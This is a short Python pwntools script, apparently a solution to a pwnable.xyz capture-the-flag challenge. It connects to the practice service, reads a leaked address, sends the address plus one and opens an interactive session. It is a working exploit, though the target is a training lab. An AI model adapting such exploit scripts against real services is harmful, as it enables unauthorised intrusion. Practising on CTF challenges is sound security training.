#!/usr/bin/python 
from pwn import *

HOST = "svc.pwnable.xyz"
PORT = 30000
# proc = process("./challenge")
proc = remote(HOST, PORT)

print(proc.recvuntil("Leak: "))
address = int(proc.recvline(), 16)
proc.recvuntil(": ")
print("Target Address: %d" % address)
proc.sendline(str(address + 1))
proc.recvuntil(": ")
proc.sendline()

proc.interactive()